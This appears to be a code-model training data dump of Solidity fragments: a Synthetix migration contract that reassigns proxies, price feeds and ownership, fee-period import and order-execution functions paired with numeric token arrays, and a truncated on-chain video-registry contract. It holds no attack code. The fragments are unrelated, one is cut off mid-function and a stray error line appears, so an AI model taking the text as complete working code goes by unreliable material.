https://etherscan.io/address/0xe59dFC746D566EB40F92ed0B162004e24E3AC932 address public constant new_SynthsDEFI_contract = 0xe59dFC746D566EB40F92ed0B162004e24E3AC932; constructor() public BaseMigration(OWNER) {} function contractsRequiringOwnership() public pure returns (address[] memory contracts) { contracts = new address[](57); contracts[0] = address(addressresolver_i); contracts[1] = address(proxyfeepool_i); contracts[2] = address(feepooleternalstorage_i); contracts[3] = address(feepoolstate_i); contracts[4] = address(proxysynthetix_i); contracts[5] = address(exchangestate_i); contracts[6] = address(systemstatus_i); contracts[7] = address(tokenstatesynthetix_i); contracts[8] = address(synthetixstate_i); contracts[9] = address(rewardescrow_i); contracts[10] = address(rewardsdistribution_i); contracts[11] = address(feepool_i); contracts[12] = address(exchangerates_i); contracts[13] = address(synthsusd_i); contracts[14] = address(tokenstatesusd_i); contracts[15] = address(proxysusd_i); contracts[16] = address(synthseur_i); contracts[17] = address(tokenstateseur_i); contracts[18] = address(proxyseur_i); contracts[19] = address(synthsjpy_i); contracts[20] = address(tokenstatesjpy_i); contracts[21] = address(proxysjpy_i); contracts[22] = address(synthsaud_i); contracts[23] = address(tokenstatesaud_i); contracts[24] = address(proxysaud_i); contracts[25] = address(synthsgbp_i); contracts[26] = address(tokenstatesgbp_i); contracts[27] = address(proxysgbp_i); contracts[28] = address(synthschf_i); contracts[29] = address(tokenstateschf_i); contracts[30] = address(proxyschf_i); contracts[31] = address(synthskrw_i); contracts[32] = address(tokenstateskrw_i); contracts[33] = address(proxyskrw_i); contracts[34] = address(synthsbtc_i); contracts[35] = address(tokenstatesbtc_i); contracts[36] = address(proxysbtc_i); contracts[37] = address(synthseth_i); contracts[38] = address(tokenstateseth_i); contracts[39] = address(proxyseth_i); contracts[40] = address(synthslink_i); contracts[41] = address(tokenstateslink_i); contracts[42] = address(proxyslink_i); contracts[43] = address(synthsada_i); contracts[44] = address(tokenstatesada_i); contracts[45] = address(proxysada_i); contracts[46] = address(synthsaave_i); contracts[47] = address(tokenstatesaave_i); contracts[48] = address(proxysaave_i); contracts[49] = address(synthsdot_i); contracts[50] = address(tokenstatesdot_i); contracts[51] = address(proxysdot_i); contracts[52] = address(synthsdefi_i); contracts[53] = address(tokenstatesdefi_i); contracts[54] = address(proxysdefi_i); contracts[55] = address(issuer_i); contracts[56] = address(systemsettings_i); } function migrate(address currentOwner) external onlyDeployer { require(owner == currentOwner, "Only the assigned owner can be re-assigned when complete"); Migration_Alkaid_Supplemental.require_check(); // ACCEPT OWNERSHIP for all contracts that require ownership to make changes acceptAll(); // MIGRATION // Import all new contracts into the address resolver; Migration_Alkaid_Supplemental.addressresolver_importAddresses_0(); // Rebuild the resolver caches in all MixinResolver contracts - batch 1; Migration_Alkaid_Supplemental.addressresolver_rebuildCaches_1(); // Rebuild the resolver caches in all MixinResolver contracts - batch 2; Migration_Alkaid_Supplemental.addressresolver_rebuildCaches_2(); // Ensure the ProxyFeePool contract has the correct FeePool target set; proxyfeepool_i.setTarget(Proxyable(new_FeePool_contract)); // Ensure the FeePool contract can write to its EternalStorage; feepooleternalstorage_i.setAssociatedContract(new_FeePool_contract); // Ensure the FeePool contract can write to its State; feepoolstate_i.setFeePool(IFeePool(new_FeePool_contract)); // Ensure the SNX proxy has the correct Synthetix target set; proxysynthetix_i.setTarget(Proxyable(new_Synthetix_contract)); // Ensure the Exchanger contract can write to its State; exchangestate_i.setAssociatedContract(new_Exchanger_contract); // Ensure the Exchanger contract can suspend synths - see SIP-65; systemstatus_i.updateAccessControl("Synth", new_Exchanger_contract, true, false); // Ensure the Synthetix contract can write to its TokenState contract; tokenstatesynthetix_i.setAssociatedContract(new_Synthetix_contract); // Ensure that Synthetix can write to its State contract; synthetixstate_i.setAssociatedContract(new_Issuer_contract); // Ensure the legacy RewardEscrow contract is connected to the Synthetix contract; rewardescrow_i.setSynthetix(ISynthetix(new_Synthetix_contract)); // Ensure the legacy RewardEscrow contract is connected to the FeePool contract; rewardescrow_i.setFeePool(IFeePool(new_FeePool_contract)); // Ensure the RewardsDistribution has Synthetix set as its authority for distribution; rewardsdistribution_i.setAuthority(new_Synthetix_contract); // Import fee period from existing fee pool at index 0; Migration_Alkaid_Supplemental.importFeePeriod_0(); // Import fee period from existing fee pool at index 1; Migration_Alkaid_Supplemental.importFeePeriod_1(); // Ensure the ExchangeRates contract has the standalone feed for SNX; exchangerates_i.addAggregator("SNX", 0xDC3EA94CD0AC27d9A86C180091e7f78C683d3699); // Ensure the ExchangeRates contract has the standalone feed for ETH; exchangerates_i.addAggregator("ETH", 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419); // Ensure the ExchangeRates contract has the standalone feed for sXTZ (see SCCP-139); exchangerates_i.addAggregator("sXTZ", 0x5239a625dEb44bF3EeAc2CD5366ba24b8e9DB63F); // Ensure the ExchangeRates contract has the standalone feed for sRUNE (see SCCP-139); exchangerates_i.addAggregator("sRUNE", 0x48731cF7e84dc94C5f84577882c14Be11a5B7456); // Ensure the ExchangeRates contract has the standalone feed for sYFI (see SCCP-139); exchangerates_i.addAggregator("sYFI", 0xA027702dbb89fbd58938e4324ac03B58d812b0E1); // Ensure the ExchangeRates contract has the standalone feed for sCRV (see SCCP-139); exchangerates_i.addAggregator("sCRV", 0xCd627aA160A6fA45Eb793D19Ef54f5062F20f33f); // Ensure the ExchangeRates contract has the standalone feed for sUNI (see SCCP-139); exchangerates_i.addAggregator("sUNI", 0x553303d460EE0afB37EdFf9bE42922D8FF63220e); // Ensure the ExchangeRates contract has the standalone feed for sXRP (see SCCP-139); exchangerates_i.addAggregator("sXRP", 0xCed2660c6Dd1Ffd856A5A82C67f3482d88C50b12); // Ensure the ExchangeRates contract has the standalone feed for sBNB (see SCCP-139); exchangerates_i.addAggregator("sBNB", 0x14e613AC84a31f709eadbdF89C6CC390fDc9540A); // Ensure the ExchangeRates contract has the standalone feed for sXAU (see SCCP-139); exchangerates_i.addAggregator("sXAU", 0x214eD9Da11D2fbe465a6fc601a91E62EbEc1a0D6); // Ensure the new synth has the totalSupply from the previous one; Migration_Alkaid_Supplemental.copyTotalSupplyFrom_sUSD(); // Ensure the sUSD synth can write to its TokenState; tokenstatesusd_i.setAssociatedContract(new_SynthsUSD_contract); // Ensure the sUSD synth Proxy is correctly connected to the Synth; proxysusd_i.setTarget(Proxyable(new_SynthsUSD_contract)); // Ensure the new synth has the totalSupply from the previous one; Migration_Alkaid_Supplemental.copyTotalSupplyFrom_sEUR(); // Ensure the sEUR synth can write to its TokenState; tokenstateseur_i.setAssociatedContract(new_SynthsEUR_contract); // Ensure the sEUR synth Proxy is correctly connected to the Synth; proxyseur_i.setTarget(Proxyable(new_SynthsEUR_contract)); // Ensure the ExchangeRates contract has the feed for sEUR; exchangerates_i.addAggregator("sEUR", 0xb49f677943BC038e9857d61E7d053CaA2C1734C1); // Ensure the new synth has the totalSupply from the previous one; Migration_Alkaid_Supplemental.copyTotalSupplyFrom_sJPY(); // Ensure the sJPY synth can write to its TokenState; tokenstatesjpy_i.setAssociatedContract(new_SynthsJPY_contract); // Ensure the sJPY synth Proxy is correctly connected to the Synth; proxysjpy_i.setTarget(Proxyable(new_SynthsJPY_contract)); // Ensure the ExchangeRates contract has the feed for sJPY; exchangerates_i.addAggregator("sJPY", 0xBcE206caE7f0ec07b545EddE332A47C2F75bbeb3); // Ensure the new synth has the totalSupply from the previous one; Migration_Alkaid_Supplemental.copyTotalSupplyFrom_sAUD(); // Ensure the sAUD synth can write to its TokenState; tokenstatesaud_i.setAssociatedContract(new_SynthsAUD_contract); // Ensure the sAUD synth Proxy is correctly connected to the Synth; proxysaud_i.setTarget(Proxyable(new_SynthsAUD_contract)); // Ensure the ExchangeRates contract has the feed for sAUD; exchangerates_i.addAggregator("sAUD", 0x77F9710E7d0A19669A13c055F62cd80d313dF022); // Ensure the new synth has the totalSupply from the previous one; Migration_Alkaid_Supplemental.copyTotalSupplyFrom_sGBP(); // Ensure the sGBP synth can write to its TokenState; tokenstatesgbp_i.setAssociatedContract(new_SynthsGBP_contract); // Ensure the sGBP synth Proxy is correctly connected to the Synth; proxysgbp_i.setTarget(Proxyable(new_SynthsGBP_contract)); // Ensure the ExchangeRates contract has the feed for sGBP; exchangerates_i.addAggregator("sGBP", 0x5c0Ab2d9b5a7ed9f470386e82BB36A3613cDd4b5); // Ensure the new synth has the totalSupply from the previous one; Migration_Alkaid_Supplemental.copyTotalSupplyFrom_sCHF(); // Ensure the sCHF synth can write to its TokenState; tokenstateschf_i.setAssociatedContract(new_SynthsCHF_contract); // Ensure the sCHF synth Proxy is correctly connected to the Synth; proxyschf_i.setTarget(Proxyable(new_SynthsCHF_contract)); // Ensure the ExchangeRates contract has the feed for sCHF; exchangerates_i.addAggregator("sCHF", 0x449d117117838fFA61263B61dA6301AA2a88B13A); // Ensure the new synth has the totalSupply from the previous one; Migration_Alkaid_Supplemental.copyTotalSupplyFrom_sKRW(); // Ensure the sKRW synth can write to its TokenState; tokenstateskrw_i.setAssociatedContract(new_SynthsKRW_contract); // Ensure the sKRW synth Proxy is correctly connected to the Synth; proxyskrw_i.setTarget(Proxyable(new_SynthsKRW_contract)); // Ensure the ExchangeRates contract has the feed for sKRW; exchangerates_i.addAggregator("sKRW", 0x01435677FB11763550905594A16B645847C1d0F3); // Ensure the new synth has the totalSupply from the previous one; Migration_Alkaid_Supplemental.copyTotalSupplyFrom_sBTC(); // Ensure the sBTC synth can write to its TokenState; tokenstatesbtc_i.setAssociatedContract(new_SynthsBTC_contract); // Ensure the sBTC synth Proxy is correctly connected to the Synth; proxysbtc_i.setTarget(Proxyable(new_SynthsBTC_contract)); // Ensure the ExchangeRates contract has the feed for sBTC; exchangerates_i.addAggregator("sBTC", 0xF4030086522a5bEEa4988F8cA5B36dbC97BeE88c); // Ensure the new synth has the totalSupply from the previous one; Migration_Alkaid_Supplemental.copyTotalSupplyFrom_sETH(); // Ensure the sETH synth can write to its TokenState; tokenstateseth_i.setAssociatedContract(new_SynthsETH_contract); // Ensure the sETH synth Proxy is correctly connected to the Synth; proxyseth_i.setTarget(Proxyable(new_SynthsETH_contract)); // Ensure the ExchangeRates contract has the feed for sETH; exchangerates_i.addAggregator("sETH", 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419); // Ensure the new synth has the totalSupply from the previous one; Migration_Alkaid_Supplemental.copyTotalSupplyFrom_sLINK(); // Ensure the sLINK synth can write to its TokenState; tokenstateslink_i.setAssociatedContract(new_SynthsLINK_contract); // Ensure the sLINK synth Proxy is correctly connected to the Synth; proxyslink_i.setTarget(Proxyable(new_SynthsLINK_contract)); // Ensure the ExchangeRates contract has the feed for sLINK; exchangerates_i.addAggregator("sLINK", 0x2c1d072e956AFFC0D435Cb7AC38EF18d24d9127c); // Ensure the new synth has the totalSupply from the previous one; Migration_Alkaid_Supplemental.copyTotalSupplyFrom_sADA(); // Ensure the sADA synth can write to its TokenState; tokenstatesada_i.setAssociatedContract(new_SynthsADA_contract); // Ensure the sADA synth Proxy is correctly connected to the Synth; proxysada_i.setTarget(Proxyable(new_SynthsADA_contract)); // Ensure the ExchangeRates contract has the feed for sADA; exchangerates_i.addAggregator("sADA", 0xAE48c91dF1fE419994FFDa27da09D5aC69c30f55); // Ensure the new synth has the totalSupply from the previous one; Migration_Alkaid_Supplemental.copyTotalSupplyFrom_sAAVE(); // Ensure the sAAVE synth can write to its TokenState; tokenstatesaave_i.setAssociatedContract(new_SynthsAAVE_contract); // Ensure the sAAVE synth Proxy is correctly connected to the Synth; proxysaave_i.setTarget(Proxyable(new_SynthsAAVE_contract)); // Ensure the ExchangeRates contract has the feed for sAAVE; exchangerates_i.addAggregator("sAAVE", 0x547a514d5e3769680Ce22B2361c10Ea13619e8a9); // Ensure the new synth has the totalSupply from the previous one; Migration_Alkaid_Supplemental.copyTotalSupplyFrom_sDOT(); // Ensure the sDOT synth can write to its TokenState; tokenstatesdot_i.setAssociatedContract(new_SynthsDOT_contract); // Ensure the sDOT synth Proxy is correctly connected to the Synth; proxysdot_i.setTarget(Proxyable(new_SynthsDOT_contract)); // Ensure the ExchangeRates contract has the feed for sDOT; exchangerates_i.addAggregator("sDOT", 0x1C07AFb8E2B827c5A4739C6d59Ae3A5035f28734); // Ensure the new synth has the totalSupply from the previous one; Migration_Alkaid_Supplemental.copyTotalSupplyFrom_sDEFI(); // Ensure the sDEFI synth can write to its TokenState; tokenstatesdefi_i.setAssociatedContract(new_SynthsDEFI_contract); // Ensure the sDEFI synth Proxy is correctly connected to the Synth; proxysdefi_i.setTarget(Proxyable(new_SynthsDEFI_contract)); // Ensure the ExchangeRates contract has the feed for sDEFI; exchangerates_i.addAggregator("sDEFI", 0xa8E875F94138B0C5b51d1e1d5dE35bbDdd28EA87); // Add synths to the Issuer contract - batch 1; Migration_Alkaid_Supplemental.issuer_addSynths_105(); // SIP-120 Set max atomic volume per block (in USD amounts); systemsettings_i.setAtomicMaxVolumePerBlock(200000000000000000000000); // SIP-120 Set the TWAP window for atomic swaps; systemsettings_i.setAtomicTwapWindow(1800); // SIP-120 Set the equivalent token - used in uniswap pools - corresponding to this synth; systemsettings_i.setAtomicEquivalentForDexPricing("sUSD", 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // SIP-120 Set the equivalent token - used in uniswap pools - corresponding to this synth; systemsettings_i.setAtomicEquivalentForDexPricing("sETH", 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // SIP-120 Set the equivalent token - used in uniswap pools - corresponding to this synth; systemsettings_i.setAtomicEquivalentForDexPricing("sBTC", 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); // SIP-120 Set the exchange fee rate for swapping atomically into this synth; systemsettings_i.setAtomicExchangeFeeRate("sETH", 3000000000000000); // SIP-120 Set the exchange fee rate for swapping atomically into this synth; systemsettings_i.setAtomicExchangeFeeRate("sBTC", 3000000000000000); // SIP-120 Set the exchange fee rate for swapping atomically into this synth; systemsettings_i.setAtomicExchangeFeeRate("sUSD", 3000000000000000); // SIP-120 Set the price buffer applied to the base chainlink rate when comparing atomically; systemsettings_i.setAtomicPriceBuffer("sETH", 1500000000000000); // SIP-120 Set the price buffer applied to the base chainlink rate when comparing atomically; systemsettings_i.setAtomicPriceBuffer("sBTC", 1500000000000000); // SIP-120 Set the atomic volatility window for this synth (in seconds); systemsettings_i.setAtomicVolatilityConsiderationWindow("sETH", 600); // SIP-120 Set the atomic volatility window for this synth (in seconds); systemsettings_i.setAtomicVolatilityConsiderationWindow("sBTC", 600); // SIP-120 Set the atomic volatility count for this synth during the volatility window; systemsettings_i.setAtomicVolatilityUpdateThreshold("sETH", 3); // SIP-120 Set the atomic volatility count for this synth during the volatility window; systemsettings_i.setAtomicVolatilityUpdateThreshold("sBTC", 3); // SIP-120 Set the DEX price aggregator (uniswap TWAP oracle reader); exchangerates_i.setDexPriceAggregator(IDexPriceAggregator(0xf120F029Ac143633d1942e48aE2Dfa2036C5786c)); // Ensure the CollateralShort contract has an interaction delay of zero on the OVM; systemsettings_i.setInteractionDelay(0x1F2c3a1046c32729862fcB038369696e3273a516, 3600); // Ensure the CollateralShort contract has its service fee set for collapsing loans (SIP-135); systemsettings_i.setCollapseFeeRate(0x1F2c3a1046c32729862fcB038369696e3273a516, 0); // NOMINATE OWNERSHIP back to owner for aforementioned contracts nominateAll(); } function acceptAll() internal { address[] memory contracts = contractsRequiringOwnership(); for (uint i = 0; i < contracts.length; i++) { Owned(contracts[i]).acceptOwnership(); } } function nominateAll() internal { address[] memory contracts = contractsRequiringOwnership(); for (uint i = 0; i < contracts.length; i++) { returnOwnership(contracts[i]); } } }
ERROR: type should be string, got " https:etherscan.io/address/0x510adfDF6E7554C571b7Cd9305Ce91473610015e; https:etherscan.io/address/0xc398406FFfBEd5B0680e706634490062CB1DB579;"
function importFeePeriod_1() external { FeePool existingFeePool = FeePool(0x510adfDF6E7554C571b7Cd9305Ce91473610015e); FeePool newFeePool = FeePool(0xc398406FFfBEd5B0680e706634490062CB1DB579); ( uint64 feePeriodId_1, uint64 startingDebtIndex_1, uint64 startTime_1, uint feesToDistribute_1, uint feesClaimed_1, uint rewardsToDistribute_1, uint rewardsClaimed_1 ) = existingFeePool.recentFeePeriods(1); newFeePool.importFeePeriod( 1, feePeriodId_1, startingDebtIndex_1, startTime_1, feesToDistribute_1, feesClaimed_1, rewardsToDistribute_1, rewardsClaimed_1 ); }
1,836,203
[ 1, 4528, 30, 546, 414, 4169, 18, 1594, 19, 2867, 19, 20, 92, 25, 2163, 361, 74, 4577, 26, 41, 27795, 39, 10321, 21, 70, 27, 19728, 29, 5082, 25, 39, 73, 29, 29488, 5718, 6625, 3600, 73, 31, 2333, 30, 546, 414, 4169, 18, 1594, 19, 2867, 19, 20, 6511, 5520, 5193, 7677, 2246, 74, 38, 2671, 25, 38, 7677, 3672, 73, 7301, 26, 4449, 6334, 29, 713, 8898, 8876, 21, 2290, 25, 7235, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1930, 14667, 5027, 67, 21, 1435, 3903, 288, 203, 3639, 30174, 2864, 2062, 14667, 2864, 273, 30174, 2864, 12, 20, 92, 25, 2163, 361, 74, 4577, 26, 41, 27795, 39, 10321, 21, 70, 27, 19728, 29, 5082, 25, 39, 73, 29, 29488, 5718, 6625, 3600, 73, 1769, 203, 3639, 30174, 2864, 394, 14667, 2864, 273, 30174, 2864, 12, 20, 6511, 5520, 5193, 7677, 2246, 74, 38, 2671, 25, 38, 7677, 3672, 73, 7301, 26, 4449, 6334, 29, 713, 8898, 8876, 21, 2290, 25, 7235, 1769, 203, 3639, 261, 203, 5411, 2254, 1105, 14036, 5027, 548, 67, 21, 16, 203, 5411, 2254, 1105, 5023, 758, 23602, 1016, 67, 21, 16, 203, 5411, 2254, 1105, 8657, 67, 21, 16, 203, 5411, 2254, 1656, 281, 774, 1669, 887, 67, 21, 16, 203, 5411, 2254, 1656, 281, 9762, 329, 67, 21, 16, 203, 5411, 2254, 283, 6397, 774, 1669, 887, 67, 21, 16, 203, 5411, 2254, 283, 6397, 9762, 329, 67, 21, 203, 3639, 262, 273, 2062, 14667, 2864, 18, 20872, 14667, 30807, 12, 21, 1769, 203, 3639, 394, 14667, 2864, 18, 5666, 14667, 5027, 12, 203, 5411, 404, 16, 203, 5411, 14036, 5027, 548, 67, 21, 16, 203, 5411, 5023, 758, 23602, 1016, 67, 21, 16, 203, 5411, 8657, 67, 21, 16, 203, 5411, 1656, 281, 774, 1669, 887, 67, 21, 16, 203, 5411, 1656, 281, 9762, 329, 67, 21, 16, 203, 5411, 283, 6397, 774, 1669, 887, 67, 21, 16, 203, 5411, 283, 6397, 9762, 329, 67, 21, 203, 3639, 11272, 203, 565, 289, 2 ]
./partial_match/1/0x5fa60726E62c50Af45Ff2F6280C468DA438A7837/sources/contracts/exchangeV2/Executor.sol
* @notice Emit Execution event from a single execution @param executionBatch Execution batch struct @param order Order being fulfilled @param listingIndex Index of the listing being fulfilled within the order @param price Price of the token purchased @param fees Protocol, and taker fees taken @param orderType Order type/
function _emitExecutionEvent( bytes memory executionBatch, Order memory order, uint256 listingIndex, uint256 price, Fees memory fees, OrderType orderType ) internal { Transfer memory transfer; assembly { let calldataPointer := add(executionBatch, ExecutionBatch_calldata_offset) let transfersOffset := mload(add(calldataPointer, ExecutionBatch_transfers_pointer_offset)) transfer := add(calldataPointer, add(transfersOffset, One_word)) } _emitOptimalExecutionEvent( transfer, bytes32(order.salt), listingIndex, price, order.makerFee, fees, orderType ); }
4,003,545
[ 1, 17982, 8687, 871, 628, 279, 2202, 4588, 225, 4588, 4497, 8687, 2581, 1958, 225, 1353, 4347, 3832, 16136, 13968, 225, 11591, 1016, 3340, 434, 326, 11591, 3832, 16136, 13968, 3470, 326, 1353, 225, 6205, 20137, 434, 326, 1147, 5405, 343, 8905, 225, 1656, 281, 4547, 16, 471, 268, 6388, 1656, 281, 9830, 225, 1353, 559, 4347, 618, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 18356, 3210, 1133, 12, 203, 3639, 1731, 3778, 4588, 4497, 16, 203, 3639, 4347, 3778, 1353, 16, 203, 3639, 2254, 5034, 11591, 1016, 16, 203, 3639, 2254, 5034, 6205, 16, 203, 3639, 5782, 281, 3778, 1656, 281, 16, 203, 3639, 4347, 559, 1353, 559, 203, 565, 262, 2713, 288, 203, 3639, 12279, 3778, 7412, 31, 203, 3639, 19931, 288, 203, 5411, 2231, 745, 892, 4926, 519, 527, 12, 16414, 4497, 16, 8687, 4497, 67, 1991, 892, 67, 3348, 13, 203, 5411, 2231, 29375, 2335, 519, 312, 945, 12, 1289, 12, 1991, 892, 4926, 16, 8687, 4497, 67, 2338, 18881, 67, 10437, 67, 3348, 3719, 203, 5411, 7412, 519, 527, 12, 1991, 892, 4926, 16, 527, 12, 2338, 18881, 2335, 16, 6942, 67, 1095, 3719, 203, 3639, 289, 203, 203, 3639, 389, 18356, 6179, 2840, 3210, 1133, 12, 203, 5411, 7412, 16, 203, 5411, 1731, 1578, 12, 1019, 18, 5759, 3631, 203, 5411, 11591, 1016, 16, 203, 5411, 6205, 16, 203, 5411, 1353, 18, 29261, 14667, 16, 203, 5411, 1656, 281, 16, 203, 5411, 1353, 559, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.3; pragma experimental ABIEncoderV2; contract Manageable { address public owner; mapping(address => uint) public admins; bool public locked = false; event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); emit onOwnershipTransferred(owner, _newOwner); owner = _newOwner; } modifier onlyAdmin() { require(msg.sender == owner || admins[msg.sender] == 1); _; } modifier onlyUploader(address uploader) { require(msg.sender == owner || msg.sender == uploader); _; } function addAdminAccount(address _newAdminAccount, uint256 _status) public onlyOwner { require(_newAdminAccount != address(0)); admins[_newAdminAccount] = _status; } /** * @dev Modifier to make a function callable only when the contract is not locked. */ modifier isNotLocked() { require(!locked || msg.sender == owner); _; } /** * @dev called by the owner to set lock state, triggers stop/continue state */ function setLock(bool _value) onlyAdmin public { locked = _value; } } contract Videos is Manageable { // the video information struct Video { string name; string cover_hash; Thumbs thumbs; // the information about thumb up and thumb down. uint256 trx_reward; uint256 token_reward; address uploader; // who call the setVideo func. StringArray keywords; } // the thumbs up/down information struct Thumbs { address[] thumbsUpByWhom; address[] thumbsDownByWhom; mapping(address => uint) thumbsUpIndex; // store the address that thumb up; mapping(address => uint) thumbsDownIndex; // store the address that thumb down; } mapping(string => StringArray) videosByName; // name => hashes mapping(string => Video) videoInfo; // hash => move info mapping(string => StringArray) keywordIndex; // keyword => the hash in the same key words. mapping(address => StringArray) videosByUploader; // address => hashes, store all the videos that somebody has uploaded. StringArray allVideos; // all the videos' hash. struct StringArray { string[] array; // the string array mapping(string => uint256) index; // the index of string array. } uint256 fee_percent; uint256 tokenId; constructor() public { fee_percent = 20; tokenId = 1002000; } // set the video hash, poster hash and video name in smart contract. function setVideo(string name, string videoHash, string coverHash, string[] keywords) public onlyAdmin { // if the video hash been uploaded, revert. require(videoInfo[videoHash].uploader == address(0), "This video has been uploaded"); // set video. videosByName[name].array.push(videoHash); videosByName[name].index[videoHash] = videosByName[name].array.length; videoInfo[videoHash].name = name; videoInfo[videoHash].uploader = msg.sender; videoInfo[videoHash].cover_hash = coverHash; // set keywords. addKeywords(videoHash, keywords); // set the video to videosByUploader. videosByUploader[msg.sender].array.push(videoHash); videosByUploader[msg.sender].index[videoHash] = videosByUploader[msg.sender].array.length; // set the video into allVideos. allVideos.array.push(videoHash); allVideos.index[videoHash] = allVideos.array.length; } // add keywords to the video and keyword index. function addKeywords(string hash, string[] keywords) public onlyUploader(videoInfo[hash].uploader) { if(videoInfo[hash].uploader != address(0) ) { for(uint i=0; i < keywords.length; i ++) { // if the keyword doesn't been added. if(videoInfo[hash].keywords.index[keywords[i]] == 0) { // add the keywords to the videoInfo videoInfo[hash].keywords.array.push(keywords[i]); videoInfo[hash].keywords.index[keywords[i]] = videoInfo[hash].keywords.array.length; // add the keyword to keywordIndex. keywordIndex[keywords[i]].array.push(hash); keywordIndex[keywords[i]].index[hash] = keywordIndex[keywords[i]].array.length; } } } } // remove the video's keyword. function removeKeywords(string hash, string[] keywords) public onlyUploader(videoInfo[hash].uploader) { if(videoInfo[hash].uploader != address(0)) { for(uint j=0; j < keywords.length; j++){ uint index = videoInfo[hash].keywords.index[keywords[j]] - 1; uint len = videoInfo[hash].keywords.array.length; // remove keyword from videoInfo. if (index != len-1) { videoInfo[hash].keywords.index[videoInfo[hash].keywords.array[len-1]] = index+1; videoInfo[hash].keywords.array[index] = videoInfo[hash].keywords.array[len-1]; } delete videoInfo[hash].keywords.array[len-1]; videoInfo[hash].keywords.array.length--; videoInfo[hash].keywords.index[keywords[j]] = 0; // remove keyword from keywordIndex. index = keywordIndex[keywords[j]].index[hash] - 1; len = keywordIndex[keywords[j]].array.length; if(index != len-1) { keywordIndex[keywords[j]].index[keywordIndex[keywords[j]].array[len-1]] = index+1; keywordIndex[keywords[j]].array[index] = keywordIndex[keywords[j]].array[len-1]; } delete keywordIndex[keywords[j]].array[len-1]; keywordIndex[keywords[j]].array.length--; keywordIndex[keywords[j]].index[hash] = 0; } } } // delete video by video hash. function deleteVideo(string hash) public onlyUploader(videoInfo[hash].uploader) returns (bool){ // if the video is exist, delete it form videoInfo and videos. if (videoInfo[hash].uploader != address(0)) { // delete reference keywords. for(uint i=0; i<videoInfo[hash].keywords.array.length; i++) { // remove keyword from keywordIndex and delete keyword map. string keyword = videoInfo[hash].keywords.array[i]; index = keywordIndex[keyword].index[hash] - 1; len = keywordIndex[keyword].array.length; if(index != len-1) { keywordIndex[keyword].index[keywordIndex[keyword].array[len-1]] = index+1; keywordIndex[keyword].array[index] = keywordIndex[keyword].array[len-1]; } delete keywordIndex[keyword].array[len-1]; keywordIndex[keyword].array.length--; keywordIndex[keyword].index[hash] = 0; // delete keywords map. delete videoInfo[hash].keywords.index[keyword]; } // delete it from videos. uint len = videosByName[videoInfo[hash].name].array.length; uint index = videosByName[videoInfo[hash].name].index[hash]-1; if (index != len-1) { videosByName[videoInfo[hash].name].index[videosByName[videoInfo[hash].name].array[len-1]] = index+1; videosByName[videoInfo[hash].name].array[index] 